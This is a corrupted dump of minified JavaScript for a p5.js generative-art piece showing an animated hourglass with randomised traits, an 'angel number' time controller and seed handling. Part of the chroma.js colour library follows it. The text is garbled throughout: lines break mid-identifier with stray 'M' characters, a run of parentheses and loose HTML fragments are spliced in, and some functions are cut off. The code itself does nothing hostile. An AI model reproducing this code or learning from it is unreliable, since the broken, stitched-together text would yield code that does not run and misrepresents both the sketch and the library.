+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
((((((((((((((((((((((((((((((((((((((((((((((((((
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
